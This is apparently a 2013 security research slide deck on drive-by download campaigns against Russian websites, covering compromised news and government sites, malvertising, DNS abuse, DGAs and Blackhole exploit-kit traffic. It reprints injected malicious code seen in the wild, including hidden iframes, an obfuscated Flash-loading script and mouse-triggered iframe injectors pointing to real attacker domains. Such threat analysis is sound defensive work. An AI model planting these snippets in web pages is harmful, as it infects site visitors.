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Agenda (roughly)

● Scope  
● Victimology (understanding the victims)
● Evolutionary changes of year 2013
● Intermediate Victims
● Techniques and trends
● Tools and protection



  

Lets recap the terminology ;-)

● Everyone knows what's drive-by, so just a 
quick recap of terminology here to make sure 
we are on the same page:
– A compromised resource loads “stuff” from a 

landing page. The landing page may be part of 
TDS or serve an exploit directly.  When exploit is 
successful a callback may be follow.

    

 All clear? :)



  

SCOPE

What are our data sources...



  

Scope (data sources)

Here will be a map



  

VICTIMS



  

Victimology

● We only look at commercially-motivated 
incidents here.

● Primary victims. Not so interesting subject
● Intermediate victims are very interesting: these 

are the targets which are compromised for the 
purpose of leveraging them in malware 
campaigns



  

Victimology(2)

● You can learn quite abit about primary victims 
by simply reading thematic forums :)

Traff Pricing

Source:
A botnet load selling
portal



  

Primary victims

● About 40 000 000 Internet users in Russia 

According our stats:
● For every 10 000 hosts in Russia
● 500 hosts redirected to landing page every week
● 25-50 hosts with  typical protection scheme (NAT, 

proxy with antivirus, vendor supplied reputation 
lists, etc.), antivirus on the host the host) are         
COMPROMISED



  

Intermediate victims

● Web servers compromised (most common)
● DNS servers or domain names hijacked

(add examples from afraid.org)
● Banner campaign (adserver/openx 

compromise. (swiss-cheese ;))
● Other infrastructure compromised

 memcache poisoning



  

What makes intermediates attractive
● High traff 
● Good reputation rank 



  

Attractive intermediates
Find and abuse, abuse, abuse... 

(Date: May – Aug 2013)

fbps.1403883.mar2.afraid.org 
ju7a.1403883.mar2.afraid.org 
wzet.1403883.mar2.afraid.org
gatw.1403883.mar2.afraid.org
kfzv.1403883.mar2.afraid.org 
oxdo.1403883.mar2.afraid.org 
ihuf.1403883.mar2.afraid.org 
9idc.1403883.mar2.afraid.org 
aieu.1403883.mar2.afraid.org

hwld.1403883.mar2.afraid.org
zwif.1403883.mar2.afraid.org
p0zj.1403883.mar2.afraid.org
xfco.1403883.mar2.afraid.org
thym.1403883.mar2.afraid.org
8xem.1403883.mar2.afraid.org
yid6.1403883.mar2.afraid.org
avvq.1403883.mar2.afraid.org
399f.1403883.mar2.afraid.org



2013 Campaigns
Statistical Overview



  

News/Media outlets are very 
popular this year

Domain Resource type Campaign dates unique hosts per 
day

rg.ru News – official 
gov publisher

Autumn 2013 ~ 790 000

newsru.com news Winter 2013 – Autumn 2013 ~ 590 000

gazeta.ru news Spring 2013 -   Autumn  2013 ~ 490 000

aif.ru news Spring 2013 -   Autumn  2013 ~ 330 000

mk.ru news Summer 2013 ~ 315 000

vz.ru news Winter 2013 – Summer 2013 ~ 170 000

lifenews.ru news Summer 2013 ~ 170 000

topnews.ru news Spring 2013 -   Autumn  2013 ~ 140 000



  

Video, mail, regional gov –  you 
choose...!

Domain Resource type When seen unique hosts 
per day

Youtube.com Summer 2013 - Autumn 2013 
(malvertising?!)

Alexa N 3

mail.ru Public email, search 
engine

Winter 2013 Alexa N 33

Vesti.ru TV news Winter 2013 ~ 1 050 000

tvrain.ru TV Autumn 2013  ~ 250 000

mos.ru Moscow gov portal Winter 2013 – Spring 2013  ~150 000

glavbukh.ru Accountants Spring 2013 -   Autumn  2013 ~65 000

tks.ru Finance 
(Import/Explort)

Summer 2013 - Autumn 2013 ~38 000



  

Time slots for serving malware

● Traffic served during the lunch time from 12 till 
15 with 1-2 hours timeframe.



  

Non-standard HTTP port use



  

Lets take a look at some of the intermediate 
victims

EXAMPLES



  

News site compromise: July 2013 
campaign

<iframe height="100" width="100" 
src="http://wnjzxyo.homelinux.net/Jz2fyAFnmU/12" 
style="left: -10000px; top: 0pt; position: absolute;">



  

<iframe src="http://feradelopa.info/indexm.html">

News site compromise: July 2013 
campaign



  

Malvertising from adriver banner 
network

<iframe height="100%" frameborder="0" width="100%" scrolling="no" marginheight="0" 
marginwidth="0" hspace="0" vspace="0" 
src="//edp1.adriver.ru/images/0002841/0002841312/0/index.html?html_params=rhost
%3Dad.adriver.ru%26sid%3D80938%26ad%3D410951%26bid%3D2841312%26ar_ntype
%3D0%26ar_pass%3D%26bt%3D34%26pz%3D1%26bn%3D8%26width%3D300%26height
%3D120%26rnd%3D721963697%26geozoneid%3D38%26rleurl%3Dhttp://%26target%3D_blank
%26sliceid%3D1258947%26uid%3D23073581871">

<html><head><body>

<style><div class="highlight">

<iframe src="http://feradelopa.info/indexm.html">

<html>

</iframe>

******snip ********



  

Commercial Websites: May 2013



  

Flash + Java Script 
combination

counter.js

function addNewObject () {

try {

var ua = navigator.userAgent.toLowerCase();

if ((ua.indexOf("chrome") == -1 && ua.indexOf("win") != -1) && navigator.javaEnabled()) {

var 
lTuBmGTHV=["s\x75\x62s\x74\x72","\x46\x79YN\x43\x65j\x59az\x2f\x6dod\x75\x6c\x66sJ\x6e\x62\x79\x76X\x79hp\x64CTn\
x4f","ps\x75\x59\x6d\x67Ps\x2fcomm\x65nt\x73/j\x73\x2fQjM\x57Szi\x4aHX","\x4a\x6b\x70re\x74\x74ify.\x73\x77\x66d\x65J\
x6fdV","\x76Vv\x4a\x58\x4agt\x65\x68tlZ\x48\x57\x66\x41\x7a\x68"];var counter = lTuBmGTHV[1][lTuBmGTHV[0]](-74+84,-
88+32+62) + lTuBmGTHV[27-55+38-6][lTuBmGTHV[0]](-41-21+20+50,-23-34+58) + lTuBmGTHV[2][lTuBmGTHV[0]](-
94+101,-4+18) + lTuBmGTHV[-87+90][lTuBmGTHV[0]](21-6-13,-52+11-14+67);

var div = document.createElement('div');

div.innerHTML = '<object id="dummy" name="dummy" classid="clsid:d27cdb6e-ae6d-11cf-96b8-444553540000" 
width="1" height="1">';

div.innerHTML += '<param name="allowScriptAccess" value="always" \/>';

div.innerHTML += '<param name="movie" value="'+ counter +'" \/>';

div.innerHTML += '<embed id="dummy2" name="dummy2" src="'+ counter +'" width="1" height="1" name="flash" 
allowScriptAccess="always" type="application\/x-shockwave-flash" \/>';

div.innerHTML += '<\/object>'; div.style.position = 'absolute'; div.style.left = '-100px'; div.style.top = '-100px';

document.body.insertBefore(div, document.body.children[0]);}

} catch (e) { if (document.body == undefined || document.body.children[0] == undefined) {

setTimeout('addNewObject()', 50);

}}}

addNewObject();



  

Commercial Websites.
 Aug 2013 Campaign

●

● document.write("<div 
style='visibility:hidden'><iframe 
width='17' height='17' 
src='http://simbirskmebel.ru/mo
ve/step.php' frameborder='0' 
scrolling='no'></iframe></div>");



  

Original javascript was modified to 
include extra code

(function($) {

$(function() {*************** SNIP *****************})})

})(jQuery)

function showPreloader(selector)

{*************** SNIP *****************

return preloaderId;

}

function hidePreloader(preloaderId)

{*************** SNIP *****************}}

document.write("<div style='visibility:hidden'><iframe width='17' 
height='17' src='http://simbirskmebel.ru/move/step.php' 
frameborder='0' scrolling='no'></iframe></div>");



  

Oct 18 2013 Direct URL access 
Simbirsk is the Lenin Motherland



  

Financial sector: Aug 2013

div style="position:absolute;left:1000px;top:-1280px;">
<iframe src="http://fortinetdonation.info/indexm.html">
<html> </iframe> </div>



  

TKS.Ru Drive-by in fiddler



  

Financial sector: Aug 2013

● <iframe 
src="http://fortinetdonation.info/indexm.html">



  



  

EDU sites, Sep 2013, 
dynamic iframe generation

<script src="http://accountus.gets-it.net/googlestat.php">
res='lafbual.knowsitall.info';
var astatf = 0;
document.write("<head></head><b><div id='mdufojj'></div></b>");
document.onmousemove=apachetochange;
function apachetochange() { if (astatf == 0) {
astatf++;
text = "<iframe src='http://"+res+"/mdufojj/2' width='12' height='9' 
style='position: absolute;z-index:1; left: -1100px; top: -1200px;'></iframe>";
document.getElementById("mdufojj").innerHTML = text



  

EDU sites Sep 2013, 
dynamic iframe generation

<script src="http://accountus.gets-it.net/googlestat.php">



  

EDU sites, Sep 2013, 
dynamic iframe generation again

<script src="http://accountus.gets-it.net/googlestat.php">

res='vctonrl.podzone.net';

var astatf = 0;

document.write("<head></head><b><div 
id='rxsxjaa'></div></b>");

document.onmousemove=apachetochange;

function apachetochange() { if (astatf == 0) {

astatf++;

text = "<iframe src='http://"+res+"/rxsxjaa/2' width='12' 
height='9' style='position: absolute;z-index:1; left: -1100px; 
top: -1200px;'></iframe>";

document.getElementById("rxsxjaa").innerHTML = text

}

}

</script>



  

Oops, a regional GOV resource,
 July 2013

<script src="http://changeip.changeip.name/rsize.js">



  

Oops, exploit is only triggered only 
by mouse move!

● <script 
src="http://changeip.changeip.name/rsize.js">

● res='bhduqnd.selfip.org';var astatf = 0;
● document.write("<head></head><b><div 

id='accountil'></div></b>");
● document.onmousemove=jsstatic;
● function jsstatic() { if (astatf == 0) { astatf++; 

text = "<iframe src='http://"+res+"/bashimme/2' 
width='7' height='12' style='position: absolute; 
left: -1000px; top: -1000px; z-index: 
1;'></iframe>";

● document.getElementById("accountil").innerH
TML = text }}

● </script>



  

Oops, welcome to Moscow, Aug 2013

<object height="0" align="left" width="0" type="text/html" 
data="http://wrutr.VizVaz.com/viewforum.php?
b=cc119b1"></object>



  

Even with samples 



  

https://www.virustotal.com/en/file/70c21fb812665fc1d75b158b7a48f4e85cbaf5bcc37a2dfd0d0555a7f561f9a8/analysis/1376491063/

https://www.virustotal.com/en/file/deeee11c34a55901e368db3a715419ae886a33be3f504fd1203076b6eeb62502/analysis/1376490991/

https://www.virustotal.com/en/file/70c21fb812665fc1d75b158b7a48f4e85cbaf5bcc37a2dfd0d0555a7f561f9a8/analysis/1376491063/
https://www.virustotal.com/en/file/deeee11c34a55901e368db3a715419ae886a33be3f504fd1203076b6eeb62502/analysis/1376490991/


Bing me





  

 dns aubuse of a legit domain

● domain:        SCHOOLOPROS.RU

● nserver:       ns1.afraid.org.

● nserver:       ns2.afraid.org.

● state:         REGISTERED, DELEGATED, VERIFIED

● org:           LLC "GKShP"

● registrar:     RU-CENTER-REG-RIPN

● admin-contact: https://www.nic.ru/whois

● created:       2010.01.25

● paid-till:     2014.01.25

● free-date:     2014.02.25I



  
<iframe src="http://sellingumec.atollsi.biz/same/exemption.html" 
style="width: 298px; height: 180px; position: absolute; top: 
-7994px; left: -4134px;">

Observation time: Oct 2013



  

<!-- Yandex.Metrika informer -->
● <a href="http://metrika.yandex.ru/stat/?

id=5876056&amp;from=informer"
● target="_blank" rel="nofollow"><script 

type="text/javascript"
● src="http://impasse.publicservant.biz/over.js">

</script><img 
src="//bs.yandex.ru/informer/5876056/3_0_DD
F8FFFF_BDD8F0FF_0_pageviews"

● style="width:88px; height:31px; border:0;" 
alt="Ð¯Ð½Ð´ÐµÐºÑ .ÐœÐµÑ‚Ñ€Ð¸ÐºÐ°" �
title="Ð¯Ð½Ð´ÐµÐºÑ .ÐœÐµÑ‚Ñ€Ð¸ÐºÐ°: Ð�
´Ð°Ð½Ð½Ñ‹Ðµ Ð·Ð° Ñ ÐµÐ³Ð¾Ð´Ð½Ñ  � �
(Ð¿Ñ€Ð¾Ñ Ð¼Ð¾Ñ‚Ñ€Ñ‹, Ð²Ð¸Ð·Ð¸Ñ‚Ñ‹ Ð¸ �
ÑƒÐ½Ð¸ÐºÐ°Ð»ÑŒÐ½Ñ‹Ðµ 
Ð¿Ð¾Ñ ÐµÑ‚Ð¸Ñ‚ÐµÐ»Ð¸)" /></a>�

● <!-- /Yandex.Metrika informer --> 

Observation time: Oct 2013



  

<iframe src="http://sellingumec.atollsi.biz/same/exemption.html" style="width: 
298px; height: 180px; position: absolute; top: -7994px; left: -4134px;">
<html>
<head>
<title>Too Many Requests</title>
</head>
<body>
<h1>Too Many Requests</h1>
<p>I only allow 50 requests per hour to this Web site per logged in user. 
Try again soon.</p>
</body>
</html>

 Error pages, tests on free hostings??
Observation time: Oct 2013



  

<iframe width="1" height="1" style="visibility: hidden" 
src="http://xwmwrjyep.sytes.net:12601/contents/template/bad/mod
ule.php?down=82">

Observation time: Oct 2013



  

<iframe 
src="http://xwmwrjyep.sytes.net:12601/content
s/template/bad/module.php?down=82" 
width=1 height=1 style="visibility: 
hidden"></iframe>ï»¿

<!DOCTYPE HTML PUBLIC "-//W3C//DTD 
HTML 4.01 Transitional//EN"

"http://www.w3.org/TR/html4/loose.dtd">

<head>

<base href="http://www.tiens.by/" />

<meta http-equiv="content-type" 
content="text/html; charset=utf-8" /> 

Observation date: Oct 2013



  

Observation date: Oct 2013



  

<object width="0" height="0" 
data="http://m9fu506t.valentinesfashionable.biz:55252/feb9a89
efc43c515f4fe2b480b8b78cd/3/8c86487f5428b0d3afcc839aff1
b33f9.html"></object>

<object width="0" height="0" 
data="http://m9fu506t.valentinesfashionable.biz:55252/feb9a89efc
43c515f4fe2b480b8b78cd/3/8c86487f5428b0d3afcc839aff1b33f9.h
tml"></object>

Observation time: Oct 2013

Domain Name:                                 VALENTINESFASHIONABLE.BIZ
Domain Registration Date:                    Sun Jul 28 14:45:54 GMT 2013



  

Observation Date: Beginning of
 Oct 2013



  

Observation Date:
 Oct 22 2013



  

And the Binary..



  

Landing on non-standard http ports

What's the motivation?



  

Why Landing on non-standard http 
ports...

● More end users get hit (less corporate 
networks)

● Hits small businesses, home networks (not so 
professionally protected)

● Smaller networks - less interest on 
investigation

● Harder to crawl by malware-detecting robots



  

date referrer ip url
8/5/2013 

14:15
sao.ithelp.ru 88.208.201.118 hxxp://tavriypvl.commutersadopt.in:33/an.php

9/27/2013 
8:08

medportal.ru 88.208.202.128 hxxp://saloukjx.pinterestpresently.org:88/room.
php

4/25/2013 
11:50

sao.mos.ru 188.165.95.112 hxxp://revolutionizingsin.org:90/forum/ask.php

2/25/2013 
11:47

akkord-guitar.ru 5.199.171.199 hxxp://064a232d4a0baf6b.selfip.info:443/hpwe
bjetadmin/mature.php?
back=720&what=224&punknown=113&classes
=619&bugs=69

8/19/2013 
9:14

cars.ru 37.10.104.109 hxxp://fifdbat.knowsitall.info:3910/jump/fallen_d
ifficult-from-charged.php

2/15/2013 
13:06

urod.ru 37.10.104.35 hxxp://vulouff.ddns.name:5000/tomove/3

10/9/2013 
9:46

euromedcompany.ru 95.163.121.168 hxxp://klicnpcfen.sytes.net:12601/autologin/cod
e/consumer/licensing.php?browse=82

6/25/2013 
23:07

ogjrussia.com 198.50.211.72 hxxp://ty9jq7.guardiannewbridge.biz:26144/ac9
5df5357ffcd09311eeb76c9e7f338.html?
sk=555757&sid=1&pk=610b367d794dc535038
7f209ff1918c4

10/10/2013 
12:59

glavbukh.ru 198.50.225.114 hxxp://eumswa.chinesenewyeartrendy.biz:3903
1/96584ed50a5eaf0e3e7377830fe8b990.html

9/24/2013 
13:16

vsepodarki.ru 198.50.225.127 hxxp://vpys1.testimonyjobs.biz:44432/f686b0c0
4a786e3e1eb600f1671dde50.html?
sk=822765&sid=2&pk=2fd16676e8cf65685e0fe
5e4d258b716



  

Compromised DNS servers, 
domains reputation doesn't work

   Legimate domains are compromised
   Compromised account DNS is used to 

generate sub domains, which are used in 
malicious campaign



  

Compromised DNS, How to detect 

● Many domains from different country zones point to 
the same place

● Many not related domains from different country 
zones have sub domains with similar or not human 
readable names

● L3 sub domains and L2 domains resolved into 
different AS. But sites with out load balancing

● URLs looks similar for not related domains.



  

Compromised DNS as landing 
pages   Summer 2013

● 01.08.2013 18:24  -   37.9.52.161    80    GET    
hxxp://slephospu.dalnet.ca/viewforum.php?b=0999bec

● 01.08.2013 18:24  -  37.9.52.161    80    GET    
hxxp://slephospu.dalnet.ca/like.Am.class

● 30.07.2013 15:32  -  37.9.52.161    80    GET    
hxxp://todrost.kurstenge.kz/viewforum.php?b=4270f8b

● 05.08.2013 14:39    hxxp://90gradusov.ru/     37.9.52.160    80    
GET    hxxp://drustapha.svlen.ru/viewforum.php?b=f57a7a0

● 05.08.2013 14:39    hxxp://90gradusov.ru/      37.9.52.160    80   
 GET    hxxp://drustapha.svlen.ru/viewforum.php?b=f57a7a0

● 05.08.2013 14:39    -    37.9.52.160    80    GET    
hxxp://drustapha.svlen.ru/viewforum.php?b=f57a7a0



  

Compromised DNS as landing 
pages   Summer 2013

8/9/2013 10:51    hxxp://jqueryjsscript.ru/        76.73.69.74    
80    GET    hxxp://power.draotth.com/script.php?
fn=3&id=419    text/html

8/6/2013 12:35    -    76.73.69.74    80    GET   
hxxp://avtryunret.drippingrockhoney.com/do.php?
fn=1&id=419&pageLoad=aHR0cDovL2pvbWxhamF2YXNjcml
wdC5ydS8=    text/html

8/6/2013 12:35    -   76.73.69.74    80    GET    
hxxp://avtryunret.drippingrockhoney.com/movie.swf?
fn=2&id=419&pageLoad=aHR0cDovL2pvbWxhamF2YXNjcml
wdC5ydS8=    application/x-shockwave-flash

8/6/2013 12:35    -        76.73.69.74    80    POST    
hxxp://avtryunret.drippingrockhoney.com/do.php    text/html



  

02.10.2013 hchivbhhxx.ynicksfullygirls.us 23.231.4.141

02.10.2013 kmxhtmlwuryxlbeswuwr.ynicksfullygirls.us 23.231.4.141

02.10.2013 natxwznrdftdiwshufrhekav.ynicksfullygirls.us 23.231.4.141

02.10.2013 bwwhnitwzavwledfrm.freebootsraces.us 23.231.4.141

02.10.2013 cwyaknmsblwzzrmvlhliitfhb.freebootsraces.us 23.231.4.141

03.10.2013 shmcers.zerostrimsfulling.us 23.231.4.141

04.10.2013 nbcarfh.zennofullinghidds.us 23.231.4.141

04.10.2013 wsttdkbfy.zennofullinghidds.us 23.231.4.141

04.10.2013 htwdshwvzcxuhtvkcdtmichl.domainsdustinghoockansas.com 23.231.4.141

04.10.2013 lfydftzfndkldsrlkntlcxf.domainsdustinghoockansas.com 23.231.4.141

04.10.2013 mdeihferyludccbhhhsus.domainsdustinghoockansas.com 23.231.4.141

04.10.2013 hnnwsdxhtcybhfrw.domainsdustinghoockansas.com 23.231.4.141

04.10.2013 frfaurvtzdk.domainsdustinghoockansas.com 23.231.4.141

04.10.2013 etrccfciuazibmulnuul.zennofullinghidds.us 23.231.4.141

04.10.2013 qergx.mamasdiscovered.in 23.231.4.141

04.10.2013 dfhb.mamasdiscovered.in 23.231.4.141

04.10.2013 srt.mamasdiscovered.in 23.231.4.141

Interesting DGAs 
“Blackhole” Oct 2013



  

DETECTION
AND

 COUNTER-DETECTION 
TECHNIQUES

2013



  

Techniques and trends

● Proxy detection
● Entropy
● Not typical ports
● Legit domains as a storage
● Geo IP Monetization (in Russia – video, 

outside -  exploit)
● More and more not targeted landing via E-

Mails
● Mobile (android)



  

Proxy detection Aug 2103



  

DGAs are standing  out in DNS logs

deaswqwehdskdqw.homelinux.com 
→ 176.31.140.65

● b3f21817812f11a62eb1b506.homelinux.com 
→ 93.189.29.235

● 5f87b942cfa67def68889b81.homelinux.com 
→ 93.189.29.235

lapachka.info → 93.189.29.235
Domain Name:LAPACHKA.INFO
Created On:05-Jun-2013 20:31:33 UTC
Last Updated On:20-Aug-2013 07:36:23 UTC
Expiration Date:05-Jun-2014 20:31:33 UTC
Sponsoring Registrar:DomainContext Inc. (R524-LRMS)

http://whois7.ru/LAPACHKA.INFO
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Legit domain(Mar 2013), registered in 
2007..
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P0wned... (reputation!!)

referrer IP URL

http://yandex.ru/yandsearch?
text=%D1%81%D0%BF
%D1%80%D0%B0%..

112.78.2.11 http://www.manhbacs
on.com/load/download
/blank-spravka-o-
balansovoy-stoimosti-
3d.php

http://www.manhbacson.com/lo
ad/download/blank-spravka-o-
balansovoy-stoimosti-3d.php

62.75.182.222 http://id000222.info/?
2&keyword=
%25D1%2581%25D0
%..
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Site: alldistributors.ru
URL on the same site: alldistributors.ru/image/

All these domains have good 
reputation
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Another example

http://hk.sz181.com/images/c4a.jpg

         name:(ShenZhen Johns Property Accessory Supply Co.,LTD) 
         mail:(kf@johns168.com) +86.75526919616
         +86.75526919856
         ShenZhen Johns Property Accessory Supply Co.,LTD

<object width="640" height="60" classid="clsid:D27CDB6E-AE6D-11cf-96B8-444553540000" codebase="http://download.macromedia.com/pub/shockwave/cabs/flash/swflash.cab#4,0,0,0"><param name="SRC" value="http://www.35.com/upload/35WHOIS_FLASH__640_60.swf"><embed 
src="http://www.35.com/upload/35WHOIS_FLASH__640_60.swf" width="640" height="60"></embed></object>

Billing Contactor:
         ShenZhenShi ShenNanDaDao1021 Hao XiNianZhongXin 12A03
         SHENZHEN
        Guangdong,
        CN
         518040

         name:(ShenZhen Johns Property Accessory Supply Co.,LTD) 
         mail:(kf@johns168.com) +86.75526919616
         +86.75526919856
         ShenZhen Johns Property Accessory Supply Co.,LTD

← Win32 Executable (payload)

Domain Name:sz181.com
Record last updated at 2013-03-11 09:27:18
Record created on 3/10/2005
Record expired on 03/10/2014
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Domain Rotation: May 2013
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http://olgaclaroto.com/mikcxwe.php

http://fcslavutich.ck.ua/nmwdbvg.php

http://temizayakkabi.com/larwyyo.php

http://familystori.com/mhwrdaw.php

http://www.residensea.jp/xuaioxc.php

http://firenzeviaroma.ru/dqryony.php

http://sphynxtoutnu.com/dnqaibb.php

http://www.icmjapan.co.jp/dgttcnm.php

http://www.controlseal.nl/yolelkx.php

http://ural.zz.mu/ledstsn.php

http://www.fotobit.pl/cpjjpei.php

http://bgcarshop.com/tgghhvy.php

http://www.borkowski.org/fudbqrf.php

http://shop.babeta.ru/puthnkn.php

http://e-lustrate.us/mycbbni.php

http://notarypublicconcept.com/shfvtpx.php

http://www.stempelxpress.nl/vechoix.php

http://64.68.190.53/dqohago.php

http://likos.orweb.ru/oydochh.php

http://wap.warelex.com/parpkeu.php

http://caglayandalgicpompa.com/vgptlav.php

http://v-madrid.ru/iqsjnvl.php

http://www.tamandhiep.com/caectvo.php

http://bulgurluhamami.com/wyscthy.php

http://pcprint.es/xymijte.php

http://genckoltukdoseme.com/jydudjd.php

http://www.mgftools.com/fakmgbv.php

http://ohtparis.com/msmfguo.php

http://kenankocticaret.com/myrivrk.php

http://restaurangmaskiner.net/rwuwkqx.php

http://fvp.nau.edu.ua/uhetymf.php

http://kontra-antiabzocker.net/xubolww.php

http://artmaster39.ru/jtfsajd.php

http://drcalotti.com/llfisbj.php

http://adult-toy.ru/immjdti.php

http://corumhaberi.com/ugfrcal.php

http://opr.kz/jwcxbwi.php

http://peggysmith.nl/thtaywn.php

http://nic-ram.com/jqdkfrh.php

http://minsociety.org/djafssg.php

Domain Rotation (new redirect every 
2-3 minutes)





Domain rotation victims

● Over 500 
compromised 
domains in 24 hours

● Domain rotation once 
per minute (3 
minutes in the other 
incident)
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High position in Yandex results

SEO 
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Payload loaded via social engineering trick
File name generated to match your search engine request

Download button::

function admin_fuck(key)
{

var url = 'http://alldaymedia.ru/fileserver/search.php?search=1&query=' + key;
var what = new Array('aanieaoii', 'nea?aou'); 
var by = new Array('', '');

for (var i=0; i < what.length; i++) { 
url = url.replace(what[i], by[i]);

}
window.location = url;

}
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File downloaded only once. After cookie is 
set a redirect to a page, which shows 
content that asks for  a fee to be paid via 
SMS.

Cookie



TDS injections





  

Proliferation of malware that uses 
blogging/social networks as c2

GET / ….
User-Agent: Mozilla/4.0 (compatible; 
MSIE 6.0; Windows NT 5.1; SV1)
Host: 
Connection:
Cache-Control:
Pragma:

Explore header anomaly



Elirks: before

 Reported by Dell/Secureworks as Elirks 
http://www.secureworks.com/cyber-threat-
intelligence/threats/chasing_apt/
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And now!

http://tw.myblog.yahoo.com/jw!
uzrxZwSGHxowPMGZAaj4I50- 
http://blog.yam.com/minzhu0906/article/54726977

http://diary.blog.yam.com/bigtree20130514/article/101
73342

http://tw.myblog.yahoo.com/jw!
uzrxZwSGHxowPMGZAaj4I50-

 http://blogs.yahoo.co.jp/sakasesi2013/31805794.html

http://www.plurk.com/mdbmdb

80

http://blogs.yahoo.co.jp/sakasesi2013/31805794.html


Campaigns can be linked by 
the same IP sources to 

access  web

Managed by the same
IP addresses
(easy to cross-correlate)
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Detecting exploit packs: Tips

● Look for typical chains in your logs
● Look for more than one attack vector from the 

same resource as an indicator
● By typical URLS
● Exploit snippets :net.class, gmail.class, and so 

on
● Looking for generic exploit components inside 

payload
● Picking up suspicious  user agents and 

application type  (octed-stream, java agent)
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Typical chains of exploit packs

URL (Blackhole 2, Mar 2013)
Application type

65.75.144.207/9f5090afabfb40cdd70a5e63064b21a7/q.php text/html; 
charset=UTF-8

65.75.144.207/9f5090afabfb40cdd70a5e63064b21a7/q.php?
nemrbz=psbg&sipgik=nupatq

Application/
java-archive

65.75.144.207/9f5090afabfb40cdd70a5e63064b21a7/9f5090afa
bfb40cdd70a5e63064b21a7/q.php?
jf=1k:1i:1k:2v:1o&ie=1g:1n:32:33:1n:1n:1n:2v:31:1o&b=1f&s
d=p&wy=h&jopa=4656855

Application/
x-msdownload
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Does anyone know this incident??

2012-12-24 08:39 
hxxp://108.165.25.119/34865412a4128d4f1ebaf9ad8f2ac412/q.php

14.01.2013 9:56
hxxp://129.121.88.108/b3aa76a54b00fd803337aab97a0c09e9/q.php

12.02.2013 10:35
hxxp://149.47.142.193/d0c1614e79a22e16cc1404ba3420f469/q.php

Mar 19, landing from hxxp://www.hotelduchampdemars.com/
19.03.2013 16:09
hxxp://129.121.128.249/30cdfca10f74f5b3da51700ba9e135e2/q.php



85* Source http://arstechnica.com/security/2013/04/exclusive-ongoing-malware-attack-
targeting-apache-hijacks-20000-sites/?utm_medium=twitter&utm_source=dlvr.it
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1/31/2013 11:53http://129.121.101.49/ff675d4b242669de697f6a
1a7428d191/q.php

text/html

1/31/2013 11:53http://129.121.101.49/ff675d4b242669de697f6a
1a7428d191/q.php?
bmkfbw=1k:1i:1k:2v:1o&exirrv=3d&rkfajmn=1g:1
n:32:33:1n:1n:1n:2v:31:1o&cesnio=1n:1d:1g:1d:
1h:1d:1f

application/pdf

1/31/2013 11:53http://129.121.101.49/ff675d4b242669de697f6a
1a7428d191/q.php?rhihgaw=ibfhs&apu=dycb

application/java-archive

1/31/2013 11:53http://129.121.101.49/ff675d4b242669de697f6a
1a7428d191/ff675d4b242669de697f6a1a7428d
191/q.php?
jf=1k:1i:1k:2v:1o&ye=1g:1n:32:33:1n:1n:1n:2v:3
1:1o&e=1f&um=b&va=b

application/x-msdownload

1/31/2013 11:53http://129.121.101.49/ff675d4b242669de697f6a
1a7428d191/ff675d4b242669de697f6a1a7428d
191/q.php?
ynyxykhm=1k:1i:1k:2v:1o&kzez=1g:1n:32:33:1n:
1n:1n:2v:31:1o&ojplot=1i&kyibn=tbv&unqz=mcg
wp

application/x-msdownload

More than one attack vector from the 
same resource as an indicator



  

URLs Blackhole Oct 2013
(landing from newsru.com)

2013-10-02 09:03:38 GET hxxp://natxwznrdftdiwshufrhekav.ynicksfullygirls.us/3dda
5a/segatnavdadettimosyl/seitgniretnelufrewop.php

2013-10-02 09:03:41 GET hxxp://natxwznrdftdiwshufrhekav.ynicksfullygirls.us/3dda
5a/segatnavdadettimosyl/seitgniretnelufrewop.php?
4YoF71v-*20_*IK=!eq3!49v6j&n8E8j2d93=660*!m*

2013-10-02 09:03:51 GET hxxp://natxwznrdftdiwshufrhekav.ynicksfullygirls.us/3dda
5a/segatnavdadettimosyl/Main.class

2013-10-04 08:46:28 GET hxxp://wsttdkbfy.zennofullinghidds.us/1caf95/stnihsgnite
emnoitcel/daehasllesdetpeccaep.php

2013-10-04 08:46:29 GET hxxp://wsttdkbfy.zennofullinghidds.us/1caf95/stnihsgnite
emnoitcel/daehasllesdetpeccaep.php?
baaa1b00ab1b0aaa1=aa0bb01a0a10bba1a&a10ab10bb0
=aaab0a11011abbb01b10

2013-10-04 08:46:38 GET hxxp://wsttdkbfy.zennofullinghidds.us/1caf95/stnihsgnite
emnoitcel/Main.class
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Background noise (exploit snippets) 
January 2013

17.01.2013 
15:03

151.248.118.68 hxxp://chapter04.bank-soft.info/ 
x/74377d39a14577b95e45ee3e653f0e72.jar

17.01.2013 
15:03

151.248.118.68 hxxp://chapter04.bank-
soft.info/sapes/1/458152a28371d4c36c9f969c5718745e/ 
com.class

17.01.2013 
15:03

151.248.118.68 hxxp://chapter04.bank-
soft.info/sapes/1/458152a28371d4c36c9f969c5718745e/ 
edu.class

17.01.2013 
15:03

151.248.118.68 hxxp://chapter04.bank-
soft.info/sapes/1/458152a28371d4c36c9f969c5718745e/ 
net.class

17.01.2013 
15:03

151.248.118.68 hxxp://chapter04.bank-
soft.info/sapes/1/458152a28371d4c36c9f969c5718745e/ 
org.class

17.01.2013 
15:03

151.248.118.68 hxxp://chapter04.bank-
soft.info/sapes/1/458152a28371d4c36c9f969c5718745e/ja
va/ security.class

17.01.2013 
15:03

151.248.118.68 hxxp://chapter04.bank-
soft.info/sapes/1/458152a28371d4c36c9f969c5718745e/ja
va/security/ cert.class
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Suspicious application types
Mozilla/4.0 
(Windows XP 5.1) 
Java/1.6.0_26

12/7/2012 
10:41

151.248.115.137 http://users.nalog-
tax.info/x/3fa91b6baa018479
e6bf7bd589829367.jar

application/ 
octed-stream

Mozilla/4.0 
(Windows XP 5.1) 
Java/1.6.0_30

9/24/2012 
12:13

78.46.254.21 http://core01.pic-
user.in/x/a4613715c05f801ce
34056f20b3d4aa5.jar

application/ 
octed-stream

Mozilla/4.0 
(Windows 7 6.1) 
Java/1.6.0_31

1/17/2013 
15:03

151.248.118.68 http://chapter04.bank-
soft.info/x/74377d39a14577b
95e45ee3e653f0e72.jar

application/ 
octed-stream

Mozilla/4.0 
(Windows 7 6.1) 
Java/1.6.0_31

3/15/2013 
13:27

151.248.122.161 http://early.desarrolloelfa.at/x/
3c9d6376b53b3f763f636d972
f755a37.jar

application/ 
octed-stream

Mozilla/4.0 
(Windows 7 6.1) 
Java/1.6.0_31

3/15/2013 
13:27

151.248.122.161 http://early.desarrolloelfa.at/d/
b63c6ffae04a23b151f1a8152
986924c

application/ 
octed-stream



GET;http://ctgwllr.changeip.name/googlestat.php;HTTP/1.1 37.10.104.72 200 640http://www.english-
shoes.ru/products/41/

Mozilla/4.0;
(compatible;;MSIE
;7.0;;Windows;NT;
6.1)

text/html

